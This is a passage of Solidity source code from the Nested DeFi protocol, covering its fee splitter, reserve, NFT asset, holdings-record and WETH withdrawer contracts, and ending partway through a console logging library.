function removeOperator(bytes32 operator) external;
/// @notice Sets the address receiving the fees
/// @param _feeSplitter The address of the receiver
function setFeeSplitter(FeeSplitter _feeSplitter) external;
/// @notice Sets the entry fees amount
/// Where 1 = 0.01% and 10000 = 100%
/// @param _entryFees Entry fees amount
function setEntryFees(uint256 _entryFees) external;
/// @notice Sets the exit fees amount
/// Where 1 = 0.01% and 10000 = 100%
/// @param _exitFees Exit fees amount
function setExitFees(uint256 _exitFees) external;
/// @notice The Factory is not storing funds, but some users can make
/// bad manipulations and send tokens to the contract.
/// In response to that, the owner can retrieve the factory balance of a given token
/// to later return users funds.
/// @param _token The token to retrieve.
function unlockTokens(IERC20 _token) external;
/* ------------------------------ USERS FUNCTIONS ------------------------------ */
/// @notice Create a portfolio and store the underlying assets from the positions
/// @param _originalTokenId The id of the NFT replicated, 0 if not replicating
/// @param _batchedOrders The order to execute
function create(uint256 _originalTokenId, BatchedInputOrders[] calldata _batchedOrders) external payable;
/// @notice Process multiple input orders
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders) external payable;
/// @notice Process multiple output orders
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders) external;
/// @notice Process multiple input orders and then multiple output orders
/// @param _nftId The id of the NFT to update
/// @param _batchedInputOrders The input orders to execute (first)
/// @param _batchedOutputOrders The output orders to execute (after)
function processInputAndOutputOrders(
uint256 _nftId,
BatchedInputOrders[] calldata _batchedInputOrders,
BatchedOutputOrders[] calldata _batchedOutputOrders
) external payable;
/// @notice Burn NFT and exchange all tokens for a specific ERC20 then send it back to the user
/// @dev Will unwrap WETH output to ETH
/// @param _nftId The id of the NFT to destroy
/// @param _buyToken The output token
/// @param _orders Orders calldata
function destroy(
uint256 _nftId,
IERC20 _buyToken,
Order[] calldata _orders
) external;
/// @notice Withdraw a token from the reserve and transfer it to the owner without exchanging it
/// @param _nftId NFT token ID
/// @param _tokenIndex Index in array of tokens for this NFT and holding.
function withdraw(uint256 _nftId, uint256 _tokenIndex) external;
/// @notice Update the lock timestamp of an NFT record.
/// Note: Can only increase the lock timestamp.
/// @param _nftId The NFT id to get the record
/// @param _timestamp The new timestamp.
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/external/IWETH.sol";
/// @title Manage the fees between shareholders
/// @notice Receives fees collected by the NestedFactory, and splits the income among
/// shareholders (the NFT owners, Nested treasury and a NST buybacker contract).
contract FeeSplitter is Ownable, ReentrancyGuard {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when a payment is released
/// @param to The address receiving the payment
/// @param token The token transfered
/// @param amount The amount paid
event PaymentReleased(address to, address token, uint256 amount);
/// @dev Emitted when a payment is received
/// @param from The address sending the tokens
/// @param token The token received
/// @param amount The amount received
event PaymentReceived(address from, address token, uint256 amount);
/// @dev Emitted when the royalties weight is updated
/// @param weight The new weight
event RoyaltiesWeightUpdated(uint256 weight);
/// @dev Emitted when a new shareholder is added
/// @param account The new shareholder account
/// @param weight The shareholder weight
event ShareholdersAdded(address account, uint256 weight);
/// @dev Emitted when a shareholder weight is updated
/// @param account The shareholder address
/// @param weight The new weight
event ShareholderUpdated(address account, uint256 weight);
/// @dev Emitted when royalties are claim released
/// @param to The address claiming the royalties
/// @param token The token received
/// @param value The amount received
event RoyaltiesReceived(address to, address token, uint256 value);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Represent a shareholder
/// @param account Shareholders address that can receive income
/// @param weight Determines share allocation
struct Shareholder {
address account;
uint96 weight;
}
/// @dev Registers shares and amount release for a specific token or ETH
struct TokenRecords {
uint256 totalShares;
uint256 totalReleased;
mapping(address => uint256) shares;
mapping(address => uint256) released;
}
/* ----------------------------- VARIABLES ----------------------------- */
/// @dev Map of tokens with the tokenRecords
mapping(address => TokenRecords) private tokenRecords;
/// @dev All the shareholders (array)
Shareholder[] private shareholders;
/// @dev Royalties part weights when applicable
uint256 public royaltiesWeight;
uint256 public totalWeights;
address public immutable weth;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(
address[] memory _accounts,
uint96[] memory _weights,
uint256 _royaltiesWeight,
address _weth
) {
require(_weth != address(0), "FS: INVALID_ADDRESS");
// Initial shareholders addresses and weights
setShareholders(_accounts, _weights);
setRoyaltiesWeight(_royaltiesWeight);
weth = _weth;
}
/// @dev Receive ether after a WETH withdraw call
receive() external payable {
require(msg.sender == weth, "FS: ETH_SENDER_NOT_WETH");
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @notice Sets the weight assigned to the royalties part for the fee
/// @param _weight The new royalties weight
function setRoyaltiesWeight(uint256 _weight) public onlyOwner {
require(_weight != 0, "FS: WEIGHT_ZERO");
totalWeights = totalWeights + _weight - royaltiesWeight;
royaltiesWeight = _weight;
emit RoyaltiesWeightUpdated(_weight);
}
/// @notice Sets a new list of shareholders
/// @param _accounts Shareholders accounts list
/// @param _weights Weight for each shareholder. Determines part of the payment allocated to them
function setShareholders(address[] memory _accounts, uint96[] memory _weights) public onlyOwner {
delete shareholders;
uint256 accountsLength = _accounts.length;
require(accountsLength != 0, "FS: EMPTY_ARRAY");
require(accountsLength == _weights.length, "FS: INPUTS_LENGTH_MUST_MATCH");
totalWeights = royaltiesWeight;
for (uint256 i = 0; i < accountsLength; i++) {
_addShareholder(_accounts[i], _weights[i]);
}
}
/// @notice Updates weight for a shareholder
/// @param _accountIndex Account to change the weight of
/// @param _weight The new weight
function updateShareholder(uint256 _accountIndex, uint96 _weight) external onlyOwner {
require(_weight != 0, "FS: INVALID_WEIGHT");
require(_accountIndex < shareholders.length, "FS: INVALID_ACCOUNT_INDEX");
Shareholder storage _shareholder = shareholders[_accountIndex];
totalWeights = totalWeights + _weight - _shareholder.weight;
require(totalWeights != 0, "FS: TOTAL_WEIGHTS_ZERO");
_shareholder.weight = _weight;
emit ShareholderUpdated(_shareholder.account, _weight);
}
/* -------------------------- USERS FUNCTIONS -------------------------- */
/// @notice Release multiple tokens and handle ETH unwrapping
/// @param _tokens ERC20 tokens to release
function releaseTokens(IERC20[] calldata _tokens) external nonReentrant {
uint256 amount;
for (uint256 i = 0; i < _tokens.length; i++) {
amount = _releaseToken(_msgSender(), _tokens[i]);
if (address(_tokens[i]) == weth) {
IWETH(weth).withdraw(amount);
(bool success, ) = _msgSender().call{ value: amount }("");
require(success, "FS: ETH_TRANFER_ERROR");
} else {
SafeERC20.safeTransfer(_tokens[i], _msgSender(), amount);
}
emit PaymentReleased(_msgSender(), address(_tokens[i]), amount);
}
}
/// @notice Release multiple tokens without ETH unwrapping
/// @param _tokens ERC20 tokens to release
function releaseTokensNoETH(IERC20[] calldata _tokens) external nonReentrant {
uint256 amount;
for (uint256 i = 0; i < _tokens.length; i++) {
amount = _releaseToken(_msgSender(), _tokens[i]);
SafeERC20.safeTransfer(_tokens[i], _msgSender(), amount);
emit PaymentReleased(_msgSender(), address(_tokens[i]), amount);
}
}
/// @notice Sends a fee to this contract for splitting, as an ERC20 token. No royalties are expected.
/// @param _token Currency for the fee as an ERC20 token
/// @param _amount Amount of token as fee to be claimed by this contract
function sendFees(IERC20 _token, uint256 _amount) external nonReentrant {
uint256 weights;
unchecked {
weights = totalWeights - royaltiesWeight;
}
uint256 balanceBeforeTransfer = _token.balanceOf(address(this));
SafeERC20.safeTransferFrom(_token, _msgSender(), address(this), _amount);
_sendFees(_token, _token.balanceOf(address(this)) - balanceBeforeTransfer, weights);
}
/// @notice Sends a fee to this contract for splitting, as an ERC20 token
/// @param _royaltiesTarget The account that can claim royalties
/// @param _token Currency for the fee as an ERC20 token
/// @param _amount Amount of token as fee to be claimed by this contract
function sendFeesWithRoyalties(
address _royaltiesTarget,
IERC20 _token,
uint256 _amount
) external nonReentrant {
require(_royaltiesTarget != address(0), "FS: INVALID_ROYALTIES_TARGET");
uint256 balanceBeforeTransfer = _token.balanceOf(address(this));
SafeERC20.safeTransferFrom(_token, _msgSender(), address(this), _amount);
uint256 amountReceived = _token.balanceOf(address(this)) - balanceBeforeTransfer;
uint256 _totalWeights = totalWeights;
uint256 royaltiesAmount = (amountReceived * royaltiesWeight) / _totalWeights;
_sendFees(_token, amountReceived, _totalWeights);
_addShares(_royaltiesTarget, royaltiesAmount, address(_token));
emit RoyaltiesReceived(_royaltiesTarget, address(_token), royaltiesAmount);
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Returns the amount due to an account. Call releaseToken to withdraw the amount.
/// @param _account Account address to check the amount due for
/// @param _token ERC20 payment token address
/// @return The total amount due for the requested currency
function getAmountDue(address _account, IERC20 _token) public view returns (uint256) {
TokenRecords storage _tokenRecords = tokenRecords[address(_token)];
uint256 _totalShares = _tokenRecords.totalShares;
if (_totalShares == 0) return 0;
uint256 totalReceived = _tokenRecords.totalReleased + _token.balanceOf(address(this));
return (totalReceived * _tokenRecords.shares[_account]) / _totalShares - _tokenRecords.released[_account];
}
/// @notice Getter for the total shares held by shareholders.
/// @param _token Payment token address
/// @return The total shares count
function totalShares(address _token) external view returns (uint256) {
return tokenRecords[_token].totalShares;
}
/// @notice Getter for the total amount of token already released.
/// @param _token Payment token address
/// @return The total amount release to shareholders
function totalReleased(address _token) external view returns (uint256) {
return tokenRecords[_token].totalReleased;
}
/// @notice Getter for the amount of shares held by an account.
/// @param _account Account the shares belong to
/// @param _token Payment token address
/// @return The shares owned by the account
function shares(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].shares[_account];
}
/// @notice Getter for the amount of Ether already released to a shareholders.
/// @param _account The target account for this request
/// @param _token Payment token address
/// @return The amount already released to this account
function released(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].released[_account];
}
/// @notice Finds a shareholder and return its index
/// @param _account Account to find
/// @return The shareholder index in the storage array
function findShareholder(address _account) external view returns (uint256) {
for (uint256 i = 0; i < shareholders.length; i++) {
if (shareholders[i].account == _account) return i;
}
revert("FS: SHAREHOLDER_NOT_FOUND");
}
/* ------------------------- PRIVATE FUNCTIONS ------------------------- */
/// @notice Transfers a fee to this contract
/// @dev This method calculates the amount received, to support deflationary tokens
/// @param _token Currency for the fee
/// @param _amount Amount of token sent
/// @param _totalWeights Total weights to determine the share count to allocate
function _sendFees(
IERC20 _token,
uint256 _amount,
uint256 _totalWeights
) private {
Shareholder[] memory shareholdersCache = shareholders;
for (uint256 i = 0; i < shareholdersCache.length; i++) {
_addShares(
shareholdersCache[i].account,
(_amount * shareholdersCache[i].weight) / _totalWeights,
address(_token)
);
}
emit PaymentReceived(_msgSender(), address(_token), _amount);
}
/// @dev Increase the shares of a shareholder
/// @param _account The shareholder address
/// @param _shares The shares of the holder
/// @param _token The updated token
function _addShares(
address _account,
uint256 _shares,
address _token
) private {
TokenRecords storage _tokenRecords = tokenRecords[_token];
_tokenRecords.shares[_account] += _shares;
_tokenRecords.totalShares += _shares;
}
function _releaseToken(address _account, IERC20 _token) private returns (uint256) {
uint256 amountToRelease = getAmountDue(_account, _token);
require(amountToRelease != 0, "FS: NO_PAYMENT_DUE");
TokenRecords storage _tokenRecords = tokenRecords[address(_token)];
_tokenRecords.released[_account] += amountToRelease;
_tokenRecords.totalReleased += amountToRelease;
return amountToRelease;
}
function _addShareholder(address _account, uint96 _weight) private {
require(_weight != 0, "FS: ZERO_WEIGHT");
require(_account != address(0), "FS: INVALID_ADDRESS");
for (uint256 i = 0; i < shareholders.length; i++) {
require(shareholders[i].account != _account, "FS: ALREADY_SHAREHOLDER");
}
shareholders.push(Shareholder(_account, _weight));
totalWeights += _weight;
emit ShareholdersAdded(_account, _weight);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Stores underlying assets of NestedNFTs.
/// @notice The factory itself can only trigger a transfer after verification that the user
/// holds funds present in this contract. Only the factory can withdraw/transfer assets.
contract NestedReserve is OwnableFactoryHandler {
/// @notice Release funds to a recipient
/// @param _recipient The receiver
/// @param _token The token to transfer
/// @param _amount The amount to transfer
function transfer(
address _recipient,
IERC20 _token,
uint256 _amount
) external onlyFactory {
require(_recipient != address(0), "NRS: INVALID_ADDRESS");
SafeERC20.safeTransfer(_token, _recipient, _amount);
}
/// @notice Release funds to the factory
/// @param _token The ERC20 to transfer
/// @param _amount The amount to transfer
function withdraw(IERC20 _token, uint256 _amount) external onlyFactory {
SafeERC20.safeTransfer(_token, msg.sender, _amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Collection of NestedNFTs used to represent ownership of real assets stored in NestedReserves
/// @dev Only NestedFactory contracts are allowed to call functions that write to storage
contract NestedAsset is ERC721Enumerable, OwnableFactoryHandler {
using Counters for Counters.Counter;
/* ----------------------------- VARIABLES ----------------------------- */
Counters.Counter private _tokenIds;
/// @dev Base URI (API)
string public baseUri;
/// @dev Token URI when not revealed
string public unrevealedTokenUri;
/// @dev NFT contract URI
string public contractUri;
/// @dev Stores the original asset of each asset
mapping(uint256 => uint256) public originalAsset;
/// @dev Stores owners of burnt assets
mapping(uint256 => address) public lastOwnerBeforeBurn;
/// @dev True if revealed, false if not.
bool public isRevealed;
/* ---------------------------- CONSTRUCTORS --------------------------- */
constructor() ERC721("NestedNFT", "NESTED") {}
/* ----------------------------- MODIFIERS ----------------------------- */
/// @dev Reverts the transaction if the address is not the token owner
modifier onlyTokenOwner(address _address, uint256 _tokenId) {
require(_address == ownerOf(_tokenId), "NA: FORBIDDEN_NOT_OWNER");
_;
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get the Uniform Resource Identifier (URI) for `tokenId` token.
/// @param _tokenId The id of the NestedAsset
/// @return The token Uniform Resource Identifier (URI)
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "URI query for nonexistent token");
if (isRevealed) {
return super.tokenURI(_tokenId);
} else {
return unrevealedTokenUri;
}
}
/// @inheritdoc ERC721
function _baseURI() internal view override returns (string memory) {
return baseUri;
}
/// @notice Returns the owner of the original token if the token was replicated
/// If the original asset was burnt, the last owner before burn is returned
/// @param _tokenId The asset for which we want to know the original owner
/// @return The owner of the original asset
function originalOwner(uint256 _tokenId) external view returns (address) {
uint256 originalAssetId = originalAsset[_tokenId];
if (originalAssetId != 0) {
return _exists(originalAssetId) ? ownerOf(originalAssetId) : lastOwnerBeforeBurn[originalAssetId];
}
return address(0);
}
/* ---------------------------- ONLY FACTORY --------------------------- */
/// @notice Mints an ERC721 token for the user and stores the original asset used to create the new asset if any
/// @param _owner The account address that signed the transaction
/// @param _replicatedTokenId The token id of the replicated asset, 0 if no replication
/// @return The minted token's id
function mint(address _owner, uint256 _replicatedTokenId) public onlyFactory returns (uint256) {
_tokenIds.increment();
uint256 tokenId = _tokenIds.current();
_safeMint(_owner, tokenId);
// Stores the first asset of the replication chain as the original
if (_replicatedTokenId == 0) {
return tokenId;
}
require(_exists(_replicatedTokenId), "NA: NON_EXISTENT_TOKEN_ID");
require(tokenId != _replicatedTokenId, "NA: SELF_DUPLICATION");
uint256 originalTokenId = originalAsset[_replicatedTokenId];
originalAsset[tokenId] = originalTokenId != 0 ? originalTokenId : _replicatedTokenId;
return tokenId;
}
/// @notice Burns an ERC721 token
/// @param _owner The account address that signed the transaction
/// @param _tokenId The id of the NestedAsset
function burn(address _owner, uint256 _tokenId) external onlyFactory onlyTokenOwner(_owner, _tokenId) {
lastOwnerBeforeBurn[_tokenId] = _owner;
_burn(_tokenId);
}
/* ----------------------------- ONLY OWNER ---------------------------- */
/// @notice Update isRevealed to reveal or hide the token URI
function setIsRevealed(bool _isRevealed) external onlyOwner {
isRevealed = _isRevealed;
}
/// @notice Set the base URI (once revealed)
/// @param _baseUri The new baseURI
function setBaseURI(string memory _baseUri) external onlyOwner {
require(bytes(_baseUri).length != 0, "NA: EMPTY_URI");
baseUri = _baseUri;
}
/// @notice Set the unrevealed token URI (fixed)
/// @param _newUri The new unrevealed URI
function setUnrevealedTokenURI(string memory _newUri) external onlyOwner {
require(bytes(_newUri).length != 0, "NA: EMPTY_URI");
unrevealedTokenUri = _newUri;
}
/// @notice Set the contract URI
/// @param _newUri The new contract URI
function setContractURI(string memory _newUri) external onlyOwner {
contractUri = _newUri;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Tracks data for underlying assets of NestedNFTs
contract NestedRecords is OwnableFactoryHandler {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when maxHoldingsCount is updated
/// @param maxHoldingsCount The new value
event MaxHoldingsChanges(uint256 maxHoldingsCount);
/// @dev Emitted when the lock timestamp of an NFT is increased
/// @param nftId The NFT ID
/// @param timestamp The new lock timestamp of the portfolio
event LockTimestampIncreased(uint256 nftId, uint256 timestamp);
/// @dev Emitted when the reserve is updated for a specific portfolio
/// @param nftId The NFT ID
/// @param newReserve The new reserve address
event ReserveUpdated(uint256 nftId, address newReserve);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Store user asset informations
struct NftRecord {
mapping(address => uint256) holdings;
address[] tokens;
address reserve;
uint256 lockTimestamp;
}
/* ----------------------------- VARIABLES ----------------------------- */
/// @dev stores for each NFT ID an asset record
mapping(uint256 => NftRecord) public records;
/// @dev The maximum number of holdings for an NFT record
uint256 public maxHoldingsCount;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(uint256 _maxHoldingsCount) {
maxHoldingsCount = _maxHoldingsCount;
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @notice Sets the maximum number of holdings for an NFT record
/// @param _maxHoldingsCount The new maximum number of holdings
function setMaxHoldingsCount(uint256 _maxHoldingsCount) external onlyOwner {
require(_maxHoldingsCount != 0, "NRC: INVALID_MAX_HOLDINGS");
maxHoldingsCount = _maxHoldingsCount;
emit MaxHoldingsChanges(maxHoldingsCount);
}
/* ------------------------- FACTORY FUNCTIONS ------------------------- */
/// @notice Update the amount for a specific holding and delete
/// the holding if the amount is zero.
/// @param _nftId The id of the NFT
/// @param _token The token/holding address
/// @param _amount Updated amount for this asset
function updateHoldingAmount(
uint256 _nftId,
address _token,
uint256 _amount
) public onlyFactory {
if (_amount == 0) {
uint256 tokenIndex = 0;
address[] memory tokens = getAssetTokens(_nftId);
while (tokenIndex < tokens.length) {
if (tokens[tokenIndex] == _token) {
deleteAsset(_nftId, tokenIndex);
break;
}
tokenIndex++;
}
} else {
records[_nftId].holdings[_token] = _amount;
}
}
/// @notice Fully delete a holding record for an NFT
/// @param _nftId The id of the NFT
/// @param _tokenIndex The token index in holdings array
function deleteAsset(uint256 _nftId, uint256 _tokenIndex) public onlyFactory {
address[] storage tokens = records[_nftId].tokens;
address token = tokens[_tokenIndex];
require(records[_nftId].holdings[token] != 0, "NRC: HOLDING_INACTIVE");
delete records[_nftId].holdings[token];
tokens[_tokenIndex] = tokens[tokens.length - 1];
tokens.pop();
}
/// @notice Delete a holding item in holding mapping. Does not remove token in NftRecord.tokens array
/// @param _nftId NFT's identifier
/// @param _token Token address for holding to remove
function freeHolding(uint256 _nftId, address _token) public onlyFactory {
delete records[_nftId].holdings[_token];
}
/// @notice Helper function that creates a record or add the holding if record already exists
/// @param _nftId The NFT's identifier
/// @param _token The token/holding address
/// @param _amount Amount to add for this asset
/// @param _reserve Reserve address
function store(
uint256 _nftId,
address _token,
uint256 _amount,
address _reserve
) external onlyFactory {
NftRecord storage _nftRecord = records[_nftId];
uint256 amount = records[_nftId].holdings[_token];
require(_amount != 0, "NRC: INVALID_AMOUNT");
if (amount != 0) {
require(_nftRecord.reserve == _reserve, "NRC: RESERVE_MISMATCH");
updateHoldingAmount(_nftId, _token, amount + _amount);
return;
}
require(_nftRecord.tokens.length < maxHoldingsCount, "NRC: TOO_MANY_TOKENS");
require(
_reserve != address(0) && (_reserve == _nftRecord.reserve || _nftRecord.reserve == address(0)),
"NRC: INVALID_RESERVE"
);
_nftRecord.holdings[_token] = _amount;
_nftRecord.tokens.push(_token);
_nftRecord.reserve = _reserve;
}
/// @notice The factory can update the lock timestamp of a NFT record
/// The new timestamp must be greater than the records lockTimestamp
// if block.timestamp > actual lock timestamp
/// @param _nftId The NFT id to get the record
/// @param _timestamp The new timestamp
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external onlyFactory {
require(_timestamp > records[_nftId].lockTimestamp, "NRC: LOCK_PERIOD_CANT_DECREASE");
records[_nftId].lockTimestamp = _timestamp;
emit LockTimestampIncreased(_nftId, _timestamp);
}
/// @notice Delete from mapping assetTokens
/// @param _nftId The id of the NFT
function removeNFT(uint256 _nftId) external onlyFactory {
delete records[_nftId];
}
/// @notice Set the reserve where assets are stored
/// @param _nftId The NFT ID to update
/// @param _nextReserve Address for the new reserve
function setReserve(uint256 _nftId, address _nextReserve) external onlyFactory {
records[_nftId].reserve = _nextReserve;
emit ReserveUpdated(_nftId, _nextReserve);
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get content of assetTokens mapping
/// @param _nftId The id of the NFT
/// @return Array of token addresses
function getAssetTokens(uint256 _nftId) public view returns (address[] memory) {
return records[_nftId].tokens;
}
/// @notice Get reserve the assets are stored in
/// @param _nftId The NFT ID
/// @return The reserve address these assets are stored in
function getAssetReserve(uint256 _nftId) external view returns (address) {
return records[_nftId].reserve;
}
/// @notice Get how many tokens are in a portfolio/NFT
/// @param _nftId NFT ID to examine
/// @return The array length
function getAssetTokensLength(uint256 _nftId) external view returns (uint256) {
return records[_nftId].tokens.length;
}
/// @notice Get holding amount for a given nft id
/// @param _nftId The id of the NFT
/// @param _token The address of the token
/// @return The holding amount
function getAssetHolding(uint256 _nftId, address _token) public view returns (uint256) {
return records[_nftId].holdings[_token];
}
/// @notice Returns the holdings associated to a NestedAsset
/// @param _nftId the id of the NestedAsset
/// @return Two arrays with the same length :
/// - The token addresses in the portfolio
/// - The respective amounts
function tokenHoldings(uint256 _nftId) external view returns (address[] memory, uint256[] memory) {
address[] memory tokens = getAssetTokens(_nftId);
uint256 tokensCount = tokens.length;
uint256[] memory amounts = new uint256[](tokensCount);
for (uint256 i = 0; i < tokensCount; i++) {
amounts[i] = getAssetHolding(_nftId, tokens[i]);
}
return (tokens, amounts);
}
/// @notice Get the lock timestamp of a portfolio/NFT
/// @param _nftId The NFT ID
/// @return The lock timestamp from the NftRecord
function getLockTimestamp(uint256 _nftId) external view returns (uint256) {
return records[_nftId].lockTimestamp;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./interfaces/external/IWETH.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/// @title Native token withdrawer
/// @dev Withdraw native token from the wrapper contract on behalf
/// of the sender. Upgradeable proxy contracts are not able to receive
/// native tokens from contracts via `transfer` (EIP1884), they need a
/// middleman forwarding all available gas and reverting on errors.
contract Withdrawer is ReentrancyGuard {
IWETH public immutable weth;
constructor(IWETH _weth) {
weth = _weth;
}
receive() external payable {
require(msg.sender == address(weth), "WD: ETH_SENDER_NOT_WETH");
}
/// @notice Withdraw native token from wrapper contract
/// @param amount The amount to withdraw
function withdraw(uint256 amount) external nonReentrant {
weth.transferFrom(msg.sender, address(this), amount);
weth.withdraw(amount);
Address.sendValue(payable(msg.sender), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
